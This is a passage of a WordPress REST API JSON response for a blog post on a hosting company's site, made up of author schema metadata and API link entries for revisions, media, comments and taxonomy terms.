schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a","name":"Abigal okon","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","caption":"Abigal okon"},"sameAs":["https:\/\/hoganhost.com.ng\/blog"],"url":"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/1606","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/comments?post=1606"}],"version-history":[{"count":2,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/1606\/revisions"}],"predecessor-version":[{"id":1617,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/1606\/revisions\/1617"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media\/1607"}],"wp:attachment":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media?parent=1606"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/categories?post=1606"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/tags?post=1606"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}